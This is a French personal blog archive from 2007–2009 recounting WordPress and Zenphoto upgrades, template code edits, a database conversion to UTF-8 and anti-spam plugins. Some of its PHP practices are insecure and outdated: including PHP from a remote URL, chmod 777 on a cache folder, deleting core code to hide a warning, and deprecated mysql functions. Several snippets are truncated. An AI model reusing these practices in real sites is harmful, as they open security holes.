if (is_null($randomImage) || checkforPassword(silent)) {
$randomImage= newImage(new Album(new Gallery(), ''), 'zen-logo.jpg' );
}

Après :

if (is_null($randomImage) || checkforPassword(true)) {
$randomImage= newImage(new Album(new Gallery(), ''), 'zen-logo.jpg' );
}

2. La zone de recherche

Un bouton permettant de sélectionner les catégories de recherche, inutile à mon goût, apparaissait. De plus, le bouton Chercher s’affichait alors une ligne en dessous :

Pour supprimer ce bouton, il faut éditer le fichier template-functions.php dans le répertoire zp-core, et supprimer les lignes suivantes (4024, 4025 et 4026) :

<?php if(count($fields) > 1) { ?>
<a href="javascript:toggle('searchextrashow');">
<?php } ?>

Et donc à refaire après chaque mise à jour…

3. Fonction show_subalbum_count()

Cette fonction me permettait d’afficher en bas de page le nombre de sous-albums. Apparemment, elle n’existe plus, et il faut utiliser get_subalbum_count() à la place.

J’ai dû également modifier le fichier customfunctions.php pour que tout s’affiche correctement, c’est-à-dire remplacer ‘print’ par ’echo’ :

Avant :

function get_subalbum_count() {
	$sql = "SELECT COUNT(id) FROM ". prefix("albums") ." WHERE parentid IS NOT NULL";
	if (!zp_loggedin()) {$sql .= " AND `show` = 1"; }  /* exclude the unpublished albums */
	$result = query($sql);
	$count = mysql_result($result, 0);
	print $count;
}

Après :

function get_subalbum_count() {
	$sql = "SELECT COUNT(id) FROM ". prefix("albums") ." WHERE parentid IS NOT NULL";
	if (!zp_loggedin()) {$sql .= " AND `show` = 1"; }  /* exclude the unpublished albums */
	$result = query($sql);
	$count = mysql_result($result, 0);
	echo $count;
}

Pour rappel, voilà le code qui me sert à afficher le bas de page :

<?php require ('customfunctions.php'); ?>

Albums: <?php $albumNumber = getNumAlbums(); echo $albumNumber ?>
·
Sous-Albums:
·
Photos: <?php $photosArray = query_single_row("SELECT count(*) FROM ".prefix('images'));
$photosNumber = array_shift($photosArray); echo $photosNumber ?>
<?php if (getOption('Allow_comments')) { ?>
·
Commentaires: <?php $commentsArray = query_single_row("SELECT count(*) FROM ".prefix('comments')." WHERE inmoderation = 0");
$commentsNumber = array_shift($commentsArray); echo $commentsNumber ?>
<?php } ?>
·
<?php echo gettext("Propulsé par zenPHOTO  1.3.1.2"); ?>

<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));

<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-10333148-2");
pageTracker._trackPageview();
} catch(err) {}

Bannière aléatoire du Blog

Sat, 17 Jan 2009 18:58:37 +0000

La bannière du Blog affiche un extrait d’image tiré de l’album photo, et ceci grâce une fonctionnalité de Zenphoto. J’aime bien le principe, d’une part parce que la bannière change à chaque chargement (on se lasse d’une image, si belle soit-elle), d’autre part parce que le découpage de l’image (la fonction n’extrait qu’une zone de la photo) génère une image nouvelle, souvent inattendue.

Pour ce faire, j’utilise une fonction php include() dans le fichier hearder.php de mon thème, puisqu’il s’agit d’exécuter un bout de code de Zenphoto dans Wordpress :

<div id="header_img">
<?php include("https://zenphoto.pled.fr/?p=heading"); ?>
</div>

Oui mais voilà, depuis quelque temps, les serveurs de Free ont la mauvaise idée de supprimer purement et simplement la fonction de mon code. Résultat, plus de bannière ! Puis elle réapparaît le lendemain, ou quelques jours plus tard. J’ai posé la question au support de Free, la réponse fut laconique :

Cher utilisateur, Vous nous signalez qu’un fonction “php include” ne marche pas dans votre blog. Je suis au regret de vous informer que votre demande est hors support pour l’équipe technique de Free. Je reste à votre entière disposition pour toute information complémentaire et je vous souhaite une bonne année 2009

Au moins, c’est réglé, aucune explication à attendre de leur part.

Je me suis donc tourné vers le forum de PHPFrance, qui m’a orienté (réponse très rapide) vers la page de la documentation française détaillant la fonction php include(). Excellente documentation au passage.

Mon code est maintenant celui-ci :

<div id="header_img">
<?php $banniere = include("https://zenphoto.pled.fr/?p=heading");
if ($banniere <> 1)
echo "";
?>
</div>

Une simple condition d’ajoutée : si l’inclusion est réussie, alors $bannière = 1. Dans le cas contraire, j’affiche une bannière par défaut.

J’ai pu le tester en local sur mon poste, cela fonctionne parfaitement. Reste à attendre la prochaine défaillance des serveurs Free !

Zenphoto et les caractères étendus

Sun, 28 Sep 2008 16:27:37 +0000

Depuis la mise à jour de Zenphoto 1.2, j’avais des problèmes avec les caractères étendus. La version 1.2 est la première version entièrement internationalisée, et je suis passé en UTF-8 lors de l’upgrade. Sauf que mes tables avaient initialement été créées en Latin1. Après la mise à jour, tout était devenu bancal. Il était temps de faire quelque chose.

Je devais passer en UTF-8 lors de la saisie d’un nouvel album (et pendant ce temps les anciens albums étaient mal affichés comme dans l’image ci-dessus), puis revenir en European ISO pour obtenir un affichage correct pour les anciens comme les nouveaux albums.

La seule solution était d’exporter la base, et de la réimporter en UTF-8. Simple sur le papier, mais je n’aime pas trop ce genre de manip, il y a toujours un risque que l’importation se passe mal, etc… Je me suis donc d’abord fait la main sur ma base en local, chose indispensable avant de se lancer sur celle du serveur.

Comme attendu, ce n’était pas si simple, et les premiers essais se révélèrent peu concluants. Je m’en suis sorti en remplaçant tous ces caractères par leur code HTML. Je ne sais si c’est très propre, mais en tout cas cela fonctionne.

La manip

- Exporter une par une les tables suivantes par l’interface phpMyAdmin : zen_albums, zen_images et zen_comments (zen_ est le prefixe des tables de Zenphoto). Pensez à cocher l’option “DROP TABLE” sur la page d’export. Copier/coller le résultat de l’exportation dans un fichier. Vous récupérez ainsi 3 fichiers à sauvergarder en local avec l’extension “.sql”.

- Editer ces fichiers avec un éditeur de texte. Nous allons utiliser la fonction “Rechercher - Remplacer” que tout éditeur de texte doit avoir.

Dans la première partie, la table est recréée (instruction CREATE TABLE). Remplacer DEFAULT CHARSET=latin1 (ou quoique ce soit d’autre) par DEFAULT CHARSET=utf8, et toutes les valeurs “COLLATE latin1_general_ci” par “COLLATE utf8_unicode_ci”. Ceci va permettre de recréer la table avec les bons paramètres.

Pour le reste, il va maintenant falloir remplacer tous les caractères étendus par leur valeur HTML. On trouve des tables sur internet très facilement, par exemple ici : c’est la colonne " numerical HTML encoding of the Unicode character" qui nous intéresse. Vous verrez une liste de ce genre :

Il ne reste plus qu’à remplacer tous ces caractères présents dans vos tables par le code. Parcourez aussi rapidement les fichiers pour vous assurer qu’aucun autre codage n’est présent. Si c’est le cas, remplacer le également.

Il ne vous reste qu’à réimporter le fichier, toujours par l’interface phpMyAdmin. Vérifiez que l’instruction DROP TABLE est présente dans votre fichier avant de l’exécuter.

Et voilà, Zenphoto est maintenant en UTF-8 définitivement.Tout fonctionne, les anciens comme les nouveaux albums sont bien affichés, et même l’éditeur “à la volée” qui permet de modifier la texte tout en parcourant l’album (il faut être identifié et avoir les droits pour ce faire, bien sûr).

Zenphoto 1.2

Sat, 23 Aug 2008 18:03:34 +0000

Cela faisait longtemps que l’attendais, cette version ! Et voilà, elle est enfin sortie. Elle permet de déplacer les albums dans des sous-albums, et je vais pouvoir réorganiser l’album-photo, probablement par années. Première version entièrement internationalisée, avec la langue française disponible. Interface optimisée et améliorée, plus de 200 bugs de corrigés. " The most complete and useful Zenphoto package to date" comme le dit le développeur en chef.

J’ai eu quelques soucis pendant la mise à jour, d’abord par ma faute. J’ai oublié de remplacer les fichiers à la racine de la galerie (ne m’occupant que des répertoires zp-core et themes). Résultat, tout fonctionnait sauf le thème. Aucune page de style n’était chargée, et l’affichage du code source donnait ceci : [sourcecode language=‘php’] link rel=“stylesheet” href="/gallery/themes/1/zen.css" type=“text/css” [/sourcecode] Le chemin /themes/1/zen.css n’est évidemment pas bon, quelque soit le thème utilisé, j’obtenais 1 au lieu du nom du répertoire de mon thème. Ne trouvant pas de solution, j’ai fini par poser la question sur le forum. Une heure après, j’avais la réponse. Et je n’avais plus qu’à dire “Oups, sorry…”

J’ai également un autre problème avec les caractères accentués de notre belle langue française. Ayant donc choisi Français pendant la mise à jour, et UTF-8 comme table d’encodage des caractères (comme précédemment), leur affichage était devenu incorrect :

J’avais déjà remarqué un problème avec ce type de caractères en utilisant l’éditeur de commentaires disponible lorsque l’on parcourt l’album (avec les droits d’administrateur). Ils étaient précédemment mal sauvegardés. Or si avec cette nouvelle version 1.2, les commentaires étaient mal affichés (voir ci-dessus), je pouvais maintenant utiliser cet éditeur !

La priorité, c’était bien entendu d’afficher les commentaires correctement. Je suis donc passé en ISO Western European, et tout est redevenu normal. Mais je ne peux plus utiliser l’éditeur “on-browsing”. Il y a une certaine logique dans tout ça ! ;-)

Bref, le diagnostic est le suivant : pour une raison inconnue (bug des premières versions de zenphoto, ou mauvaise manip de ma part), mes albums existants sont encodés en ISO. Avec cette nouvelle version, tout fonctionnerait en UTF-8 (ce qui est préférable, c’est la table de caractères internationaux que tout le monde utilise de nos jours). Tout sauf les anciens albums qu’ils faudraient alors tous modifier manuellement, et donc un gros boulot en perspective. Pour finalement ne gagner que l’avantage de modifier les commentaires en parcourant l’album, chose pratique certes, mais pas indispensable.

J’ai posé une nouvelle question sur le forum, pas de réponse pour l’instant. Je ne sais pas s’il existe une solution simple, tout cela est stocké dans la base de données… et c’est toujours un peu galère, ces histoires d’encodage. A suivre…

J’avais aussi quelques messages d’erreur sur mes pages. J’utilisais des fonctions sans tester si elles existaient… comme printAlbumRating, ou printAlbumMap. La mise à jour dévalide apparemment toutes ces fonctions. Il faut que je regarde ça, en attendant, j’ai codé de manière un peu plus propre : [sourcecode language=‘php’] php if (function_exists(‘printImageRating’)) { printImageRating(); } php if (function_exists(‘printImageRating’)) { printAlbumMap(); } [/sourcecode] Le code est assez parlant…

Globalement, la mise à jour s’est quand même bien passée. et je peux maintenant réorganiser les albums… Ce sera pour un peu plus tard.

Photopress

Sat, 28 Jun 2008 14:23:20 +0000

Depuis la mise à jour de Wordpress 2.5, j’avais un problème avec Photopress, le plugin qui me sert à afficher une image aléatoire (rubrique Une photo…) en haut de la colonne gauche.

Aucun lien donc avec l’album principal de ZenPhoto; historiquement ce sont les photos qui faisaient “la Une” de mon ancien site. ZenPhoto n’est arrivé qu’après le blog. J’ai conservé cet album, y ajoutant des photos de temps en temps. Il est intégré à Wordpress, et permet de visualiser une sélection de photos par ailleurs présentes dans l’album ZenPhoto pour la plupart.

Je pouvais toujours ajouter de nouvelles photos, mais impossible de visualiser l’album, que ce soit par le panneau d’administration ou par le blog. Je ne suis pas certain d’avoir bien désactivé le plugin lors de la mise à jour Wordpress, tout est peut-être venu de là (ou bien d’un bug photopress…).

Toujours est-il qu’après quelques recherches infructueuses sur le net, je me suis décidé à refaire l’album de zéro.

J’en ai profité pour agrandir la taille originale des photos (hauteur max 800). Il a quand même fallu que je retrouve toutes les photos (il en manque quelques unes, et qui sont donc restées en petit format), les recharge dans Photopress, mette les commentaires… Quelques heures de boulot, mais maintenant tout refonctionne.

On peut y accéder en cliquant sur l’image “Une photo…”, puis sur le nom de l’album A la Une.

Last.fm widgets et autres modifs

Thu, 29 May 2008 12:40:44 +0000

J’avais profité du changement du thème du blog pour utiliser les widgets en java proposés par Last.fm pour afficher la musique que j’écoute. C’était plutôt sympa, avec affichage de pochettes ou photos au survol de la souris, défilement latéral automatique, etc…

Oui, mais afficher les morceaux écoutés récemment et le top artiste hebdo avait un coût processeur: 6-7% pour le premier, 3-4% pour le second. Résultat, je voyais que Firefox prenait constamment 10 à 12% de cpu, sans comprendre pourquoi dans un premier temps. J’ai regardé ça d’un peu plus près hier, et me suis aperçu que les widgets Last.fm en étaient la cause. C’est souvent le problème avec ce genre de gadgets (bonne traduction de widget): c’est chouette, mais finalement coûteux en ressource, et d’un intérêt parfois douteux. On trouve des blogs affichant tout et n’importe quoi : la météo, le cours d’une action… j’ai même vu récemment un widget Wordpress pour afficher les résultat de l’Euro 2008 de football ! Or, celui qui cherchera les résultats ira plus que probablement sur un site dédié, complet. Attention donc… Keep it simple ! Alors voilà, retour à l’ancien système, plus classique, sans images ni défilement latéral (scrolling)… mais 10% de cpu de gagné !

Autres modifs

J’en ai profité pour faire quelques modifs sur le blog, comme de retirer l’entrée “Administration” de la colonne de droite. En fait cela ne servait que pour m’identifier… historiquement, c’était pour que les amis puisse se créer un compte (et publier des articles). La pratique montre que cela ne sert pas ou si peu qu’il est préférable de libérer la place occupée pour rien. Dans la même idée, suppression de la page UTILISATION qui apparaissait dans le menu supérieur du Blog. Elle n’était plus à jour depuis le passage à Wordpress 2.5, et même constat : elle ne servait à rien. Elle est maintenant remplacée par une page de STATS qui résume quelques statistiques du site. Ces statistiques sont réalisées avec le plugin WP-Stats. Il était présent dans l’ancien thème, mais faisait partie des plugins ne fonctionnant plus avec Wordpresss 2.5. Nouvelle version donc (v2.3), expurgée de certaines statistiques inutiles, en tout cas pour mon blog.

Anti-spam pour wordpress

Sun, 18 May 2008 17:26:49 +0000

Les spams, ces messages “non sollicités” comme on dit, ne polluent pas que les messageries, mais aussi les blogs. Jusque là, la protection par défaut de Wordpress Askimet m’avait suffit. Suite à une rafale reçue ce week-end, j’ai du chercher une autre solution.

Askimet

Askimet fonctionne sur le principe de mots-clefs, d’analyse du texte (AI, Intelligence Artificielle), de liste d’émetteurs connus comme spameurs, en étant connecté à un serveur qui maintient les données à jour. C’est assez efficace, mais quelques spams arrivent à passer. De plus, ce sont bien souvent des bots (abréviation de robots, disons d’autres ordinateurs) qui sont à l’origine de ces faux messages. Et un ordinateur, ça va très vite… pollution maximale.

Les Captchas

La solution classique est la captcha. C’est l’acronyme de l’anglais « C ompletely A utomated P ublic T uring test to tell C omputers and H umans A part », soit en français, « Test public de Turing complètement automatique ayant pour but de différencier les humains des ordinateurs ».

Il s’agit donc de faire effectuer une tâche comme de taper des lettres d’une image, répondre à une simple question (combien font 2 + 3 ?), etc… Le problème est que cela exclue généralement les mal-voyants d’une part, et d’autre part les bots sont de plus en plus sophistiqués, faisant appel à des logiciels de reconnaissance de caractères… On arrive soit à des textes illisibiles pour de plus en plus de personnes, ou des questions de ce type (j’ose espérer que cette captcha est une blague, ou réservée à un club de mathématiciens…) :

WP-SpamFree

Je suis alors tombé sur ce plugin, écrit par Scott Allen, patron d’Hybrid6 Studios, une boite de marketing internet et de design web basée à Los Angeles. Passioné de marketing, dévelopement et design web.

Scott avait travaillé précédemment sur une protection des sites de ses clients attaqués par le formulaire de mail “Contactez-nous” que l’on trouve en général sur tous les sites. Il l’a modifié pour les blogs wordpress, et cela s’est révélé si efficace qu’il a décidé d’en faire un plugin pour Wordpress, et de le rendre accessible à tous.

Comment ça marche ? il utilise une combinaison de Javascript et de cookies pour différencier l’humain de la machine, et apparemment y arrive pour 99+ % ! Les spams ne sont pas saisis, pas de liste de commentaires à valider comme le fait Askimet. S’il y a erreur, le blogueur est averti et peut valider son message.

La plupart des navigateurs actuels ayant ces deux fonctionnalités activées, c’est donc totalement transparent pour le blogueur. Et c’est beaucoup moins gênant que le principe de captcha.

Voilà, je l’ai mis en place hier, et déjà 41 spams de bloqués. J’avais laissé une suggestion sur son blog : pouvoir récupérer juste le nombre de spams bloqués, afin de l’afficher dans le pied-de-page, avec les autres statistiques. Ce matin, j’avais une réponse me disant que c’était une bonne idée, qu’il le ferait pour la prochaine version. Cool !

J’en ai aussi profité pour passer à Wordpress 2.5.1, qui corrige pas mal de bugs et de failles de sécurité.

Mise à jour Wordpress 2.5 : problèmes rencontrés

Thu, 24 Apr 2008 17:51:43 +0000

Le passage à Wordpress 2.5 ne s’est pas passé sans anicroche. Il y a pas mal de changements dans cette version… et donc fatalement des bugs. Il est également fortement recommandé de vérifier que tous les plugins que l’on utilise actuellement fonctionnent, rien n’est moins sûr.

Voilà les problèmes que j’ai rencontré :

Téléchargement des images

Impossible de télécharger une image lors de l’écriture d’un article. Un beau message Crunching… apparaît dans le tout nouveau chargeur de media réécrit avec la techno Flash. C’est facile de contourner le problème en téléchargeant l’image manuellement, mais vraiment embêtant pour une utilisation normale. Et je ne suis pas le seul, il y a de nombreux articles sur le sujet sur le net. Finalement, Wordpress a fourni un Plugin appelé no-flash-uploader. Voici la page à consulter pour ce problème (en anglais), le lien pour le plugin est en bas de page.

Message d’erreur : Unable to access /cache/php.err

Le message d’erreur suivant s’affichait avec le plugin photopress (lors de l’affichage de l’album) ainsi que pour le plugin backup : [sourcecode language=‘php’] Warning: is_writable() [function.is-writable]: Unable to access /cache/php.err in /mnt/121/sdb/9/2/pascal.ledisque/wordpress/wp-includes/wp-db.php on line 200 [/sourcecode] Là, ce fût un peu plus difficile de trouver une solution, si on peut parler de solution d’ailleurs. Sur un site professionnel (pour un particulier, cela veut dire payant), il suffit de modifier les droits d’écriture sur le répertoire /cache (un bon vieux chmod 777). Mais chez Free, nous n’avons pas les droits pour le faire, et aucune chance que Free ne le fasse pour nous, sécurité oblige. J’ai fini par trouver sur un site une solution simple, pas très propre mais radicale : supprimer (ou mettre en commentaire) la ligne 200 du fichier wp-db.php. Cela s’appelle soigner le mal à la racine !

Plugin photopress

Ce plugin me sert à afficher un album à part des albums de la gallerie zenphoto, c’est la photo affichée dans Une photo…, en haut de la colonne gauche. Cet album contient les images qui étaient affichées A la Une de l’ancien site. Une sorte de Best of… Je continue à y ajouter une photo de temps en temps. Bref, ce plugin (non validé sous Wordpress 2.5) supporte mal la mise à jour Wordpress. Le problème semble venir de la gestion des albums. Ça marche en local, mais pas chez Free. On ne peut plus le parcourir. En attendant une solution, c’est maintenant une fenêtre pop-up qui s’ouvre pour afficher l’image en taille normale. Je vais voir si je ne peux pas utiliser zenphoto pour faire la même chose, ou attendre une nouvelle version du plugin, testé pour Wordpress 2.5. Il y a des commentaires sur ces photos, et changer de plugin risque de ne pas être facile si je veux les conserver. A suivre…

Voilà, c’est à peu près tout (c’est déjà pas mal !). Il faut retenir que ce n’est pas une mise à jour mineure. Il faut d’abord vérifier la compatibilité des plugins. Puis bien sûr faire un backup de sa base de données. Enfin respecter scrupuleusement les instructions de mise à jour. Avoir la même configuration sur son PC est quand même le meilleur moyen d’essuyer les plâtres. Cela ne résoud pas tout, ce serait trop beau, mais permet d’affiner les choses avant de faire les mêmes manips en ligne.

Nouveau thème pour le blog

Sun, 06 Apr 2008 21:23:45 +0000

Et voilà, comme vous pouvez le voir, un nouveau thème est en place. Exit Connections, voici Cutline. Au départ, je voulais simplement ajouter une colonne (sidebar) à gauche, mais mon thème ne s’y prêtait guère, et le code CSS posait des problèmes. Finalement, c’était plus simple de repartir d’un nouveau thème, plus récent.

Mon choix s’est donc porté sur Cutline, qui m’a semblé assez clair et agréable. De plus, les deux sidebars sont “widgets ready”, et le CSS mieux pensé, notamment pour gérer la position des images dans un texte. J’y ai ensuite apporté mes propres changements.

Le principal étant la nouvelle bannière, qui change à chaque chargement de page, allant piocher au hasard dans l’album Zenphoto, et affichant seulement un morceau de l’image. Ce mécanisme, déjà présent dans l’album photo, me plaisait bien, alors le voici adopté pour le blog. A terme, il est probable que les deux fusionneront…

Reste encore quelques finitions à faire, et notamment voir ce que l’on peut faire avec les widgets. En gros, ce sont des plugins, mais plus besoin d’aller mettre les mains dans le code : tout est géré par le tableau d’administration. Les widgets permettent donc d’habiller vos sidebars très facilement, et il en existe des milliers. Le risque étant d’alourdir la page, aussi bien graphiquement que lors du chargement.

Mise à jour Zenphoto version 1.1.5

Sat, 05 Apr 2008 22:07:29 +0000

Le ménage de printemps continue : mise à jour de la gallerie photo avec la Zenphoto v1.1.5. Au menu les habituelles améliorations de sécurité et de performance. La procédure de mise à jour est également simplifiée (même si j’ai eu un problème).

Quelques nouveautés aussi : le Rating, qui permet de donner une note à une photo (ou un album), ainsi qu’un captcha simple lors de l’ajout de commentaires, afin de contrer les spams. Ces deux nouveautés se résument sur cette image :

Les expressions boléennes sont maintenant acceptées dans la recherche. Par défaut c’est un “OU”. Si vous cherchez “chient chat”, le résultat comprendra à la fois les photos avec le mot chien et celles avec le mot chat. Vous pouvez maintenant rechercher “chien & chat”, le résultat n’affichera que les photos comprenant ces deux mots.

Enfin, il y a le Dynamic Album, qui permet de construire un album à partir d’une recherche. Ceci est réservé à l’administrateur. Cela peut se révéler pratique pour regrouper des photos sur un sujet particulier.

Le problème lors de la mise à jour

Après la mise à jour, l’album photo fonctionnait, mais impossible de me connecter pour accéder au panneau d’administration. Mot de passe incorrect. Après avoir tout vérifié, j’ai posé la question sur le forum de Zenphoto. Moins d’une heure après, j’avais la solution :

Avec phpMyAdmin, je pouvais voir que l’utilisateur avait bien été créé dans la table zen_administrators. On pouvait même y voir le mot de passe en clair, ce qui est beaucoup moins normal, il aurait du être codé. Solution : vider la table en question (ne pas l’effacer, sinon il faudra la recréer en relançant le setup). Il suffit ensuite d’accéder à la gallerie photo : on est alors redirigé sur un formulaire de création du compte administrateur.

Mise à jour Wordpress version 2.5

Mon, 31 Mar 2008 18:06:29 +0000

Le grand ménage de printemps commence ! Mise à jour de Wordpress avec la version 2.5, qui vient de sortir. Extérieurement, vous ne verrez pas de grands changements, mais sous le capot, toute l’interface d’administration a été revue, et c’est une très bonne nouvelle pour tous les utilisateurs de Wordpress ! L’éditeur visuel ne devrait plus modifier le code que l’on tape (!), et l’ensemble de l’interface est tout simplement plus en accord ce qui peut se faire aujourd’hui.

Les autres principales améliorations : une meilleure sécurité des mots de passe, mise à jour des extensions en un clic, une galerie d’image intégrée, gestion des médias (audio, vidéo) améliorée, gestion des tags, un moteur de recherche qui couvre les pages (j’avais dû installer un plugin pour y palier, c’est maintenant inutile), et enfin la possibilité de télécharger plusieurs fichiers simultanément.

Par exemple, on peut maintenant ajouter dans un widget de statistiques dans le panneau d’administration :

Je ne vous montre pas mon graphique, je viens à peine de l’installer, et il affiche pour l’instant un gros point bleu calé sur 0 !).

Bref, beaucoup de choses à voir et explorer. En général, on ne cherche que ce dont on a besoin, ou alors on tombe sur un truc au hasard. En fin de compte, Wordpress est très puissant, ouvert, et les possibilités sont multiples.

Mise à jour 6 avril 2008

Après quelques jours, le compteur restait désespérément à zéro. Un petit tour sur le forum, et hop : il faut que le thème contienne l’appel à la fonction wp_footer, ce qui n’était pas le cas du mien. Typiquement, il faut que le ficher footer.php de votre thème se termine comme ceci : [sourcecode language=‘php’]

[/sourcecode]

Zenphoto et Zenphotopress

Sun, 16 Dec 2007 18:32:22 +0000

La mise à jour de Zenphoto a posé quelques problèmes, ainsi que celle de Zenphotopress, le plugin Wordpress qui permet d’insérer facilement les images des albums dans un article.

Le premier problème, c’est que dans cette nouvelle version de Zenphoto, l’ancien répertoire zen est maintenant nommé zp-core. La conséquence, c’est que tous les liens vers les images dans vos précédents articles deviennent invalides, puisqu’ils appellent i.php qui se trouve dans ce répertoire. La seule solution est d’aller modifier dans la base de données ces liens en question.

Il faut donc se connecter à la base de données (avec phpMyAdmin par exemple), et lancer la commande SQL suivante :

[sourcecode language=‘php’] UPDATE wp_posts SET post_content=replace(post_content,’/zen/i.php’,’/zp-core/i.php’); [/sourcecode]

Dans l’exemple, wp_posts est le nom de ma table (préfixe wp_).

Le second problème, c’était que la version 1.3 de Zenphotopress ne fonctionnait pas. Les liens créés dans l’article étaient invalides. Après quelques recherches, j’ai posé la question sur le forum de zenphoto. Le lendemain, le développeur me répondait qu’une version 1.3.1 était maintenant disponible, et qu’elle corrigeait ce bug. Belle réactivité ! Je l’installais aussitôt, et désormais tout fonctionne à merveille.

Zenphoto 1.1 (suite et fin)

Sun, 02 Dec 2007 21:32:58 +0000

Pas mal de petites modifications dans le thème pour profiter des dernières possibilités de Zenphoto. Le mieux est de les lister :

Vue Archive : Dans le “top-menu”, ajout d’un lien vers une vue Archive, qui permet de lister les photos par mois. J’aurais plutôt imaginé une liste des albums, ce serait plus pratique. Je verrai si je peux la modifier.Dans la foulée, suppression du lien vers l’ancien site, qui ne sera plus accessible que par le menu du blog. Il me reste à rediriger la page d’accueil elle-même.

Au-dessus de l’image sont affichés deux nouveaux liens : à droite Taille Originale our afficher l’image en taille réelle, et à gauche Infos EXIF pour afficher les données enregistrées lors de la prise de vue. Enfin pour l’instant vous ne verrez rien concernant ces données EXIF, ni la page s’obscurcir et afficher la fenêtre ci-contre :

En effet, je me suis aperçu que je perdais ces infos lors de la préparation des albums (probablement lorsque je réduis leur taille en 800x600). Il faut que je regarde comment faire, le prochain album devrait donc comporter ces infos si c’est possible.

Enfin, le “footer” (bas de page) a aussi été modifié pour indiquer le nombre d’albums, de sous-albums et de photos (3622 à ce jour). Il y a aussi le lien RSS, mais qui permet de visualiser les 10 dernières photos ajoutées. Là encore, je m’attendais àvoir les derniers albums. Apparemment, c’est fait comme ça.

Tout cela donne un petit coup de dépoussiérage à l’album photo, avec les nouvelles possibilités qu’apporte cette nouvelle version.

Zenphoto 1.1

Thu, 29 Nov 2007 18:20:25 +0000

Petit changement du look de l’Album Photo, avec l’ajout d’une bannière sur la page d’accueil, ainsi qu’une fonction de recherche. Voilà un exemple de ce que cela donne maintenant :

Tout cela grâce à Zenphoto 1.1.2. Cette nouvelle version apporte quelques nouveautés intéressantes, comme une fonction de recherche, l’affichage des données EXIF de la photo, les flux RSS, et une gestion améliorée des sous-albums.

Le bouton de recherche est donc placé sous la bannière, et permet comme vous l’aurez deviné de retrouver facilement une photo ou un album par mot-clef. Une fonction bien pratique avec les albums qui s’accumulent avec le temps.

La bannière change à chaque chargement de la page. Elle va “piocher” au hasard une photo dans l’un des albums, pour n’en afficher qu’une partie. Le résultat est donc aléatoire, parfois ça ne donne rien, et d’autres fois on est agréablement surpris…

Concernant les sous-albums (autre chose nécessaire quand le nombre d’albums grandit), il me faudra encore attendre. Leur gestion est maintenant présente dans les pages d’administration, mais je ne peux toujours pas les utiliser. En effet, à l’heure actuelle, tous les commentaires seraient perdus. La question a été posée sur le forum de Zenphoto, le développeur est bien conscient du manque. Soyons patient, et n’oublions pas que c’est un superbe logiciel de galerie photo, gratuit…

Comment ajouter la bannière

C’est très simple : il faut d’abord copier le fichier customfunctions.php du thème Effervescence dans le répertoire de votre thème. C’est ce fichier qui contient la fonction, et qu’il faut aller modifier pour ajuster la largeur ou la hauteur si nécessaire. Puis ajouter la ligne ci-dessous en tête du fichier index.php (pour la page d’accueil). Même principe pour le fichier album.php si vous souhaitez avoir la même chose sur les pages d’albums, ou encore image.php. Il ne reste plus qu’à placer le code suivant à l’endroit souhaité dans les mêmes fichiers :

[sourcecode language=‘php’]

[/sourcecode]

Sympa, non ? Il me reste à peaufiner un peu tout cela, regarder les autres nouveautés, comme l’affichage des donnés EXIF, et aussi intégrer un bouton RSS.

Erreur 403

Wed, 31 Oct 2007 18:56:21 +0000

Lundi soir, en voulant me connecter sur mon site, j’ai reçu le message suivant :

Bon, je ne me suis pas trop inquiété, le site a déjà été innacessible quelques jours suite à des problèmes chez Free. Pas avec ce message, mais bon…

Le lendemain, toujours pareil. Je fais quand même une recherche sur Google, et je me rend vite compte que c’est Free qui a bloqué volontairement mon compte !

Je me rend alors sur ma page de gestion de compte, clique sur Ré-activer votre compte pour les pages personnelles (si celui-ci a été suspendu), et reçois le message suivant :

Cette fois c’est clair : phpMyVisites est un outil qui génère des statistiques sur l’utilisation de votre site Web, tout en php. Free fournit déjà ce service, et n’autorise pas les utilisateurs à installer leur propre service, ce qui est après tout logique. A ma décharge, quand je l’ai installé, Free ne le proposait pas encore…

Bref, j’ai donc cliqué sur ici. Et reçu ce dernier message :

Et voilà, le site est de nouveau opérationnel ce soir. Un peu violent comme méthode, mais bon…

Fancy Archives

Tue, 31 Jul 2007 17:56:37 +0000

Petite amélioration sur l’affichage du blog, la liste des archives commençant à s’allonger terriblement.

Après quelques recherches sur le web, j’ai pu trouver un plugin bien pratique qui permet de les regrouper par année: Fancy Archives for Wordpress. Il suffit alors de cliquer sur une l’année voulue pour voir les mois apparaître.

L’installation est très simple. Comme d’habitude, décompresser le plugin dans le répertoire wp-content/plugins, puis l’activer par la fenêtre d’administration. Dans le nouveau menu Options - Fancy Archives, on peut ensuite valider quelques options bien pratiques, comme par exemple afficher (ou non) le total des articles à la suite de l’année ou du mois.

Enfin, il faudra modifier le fichier sidebar.php. Voilà les modifs à faire:

Dans fichier sidebar.php (du thème), je remplace:

par


n";
  wp_get_archives('type=monthly&show_post_count=true');
  echo "n";
 }
?>

C’est tout !

Nouveau style pour le forum

Sat, 31 Mar 2007 15:03:42 +0000

Le forum s’adapte au Blog avec un nouveau “style”. Je suis parti d’un style plutôt bien conçu, Blue Lagon (qui est également disponible maintenant), trouvé sur punBB-fr, et j’ai adapté les couleurs en partant du thème du blog.

Essentiellement, j’ai du retravailler toutes les images servant au thème (les dégradés utilisés pour afficher les barres de titres) sous The Gimp (l’équivalent de Photoshop du logiciel libre). Puis modifier le fichier css du thème, ainsi que l’image du panneau supérieur bien sûr (vous y reconnaîtrez le paysage du Roc-Trévezel utilisé pour le blog).

C’est désormais le thème par défaut. Si vous avez besoin de le changer pour votre compte, allez dans le menu Profil, sélectionnez Affichage dans le menu de gauche, et choisissez le style “Pascal”.

Vous pouvez également définir un avatar, c’est-à-dire une image qiu sera affichée pour chacun de vos messages. L’image doit avoir une taille de 60x60, et vous pouvez l’ajouter par le menu Profil - Personnalisation.

punBB (suite)

Tue, 27 Mar 2007 20:55:16 +0000

punBB a l’air vraiment bien, et s’il est simple et basique, on trouve quand même tout le nécessaire: ajout de 2 plugins (ou mods) bien pratiques:

Akismet: une adaption du plugin de wordpress pour punBB, qui détecte les spams et les “bots” (les robots qui créent automatiquement des messages sur les forums), et que l’on peut trouver ici. L’installation est très facile, il faut simplement récupérer une clef API pour Akismet. Voici le lien à partir du site Wordpress.

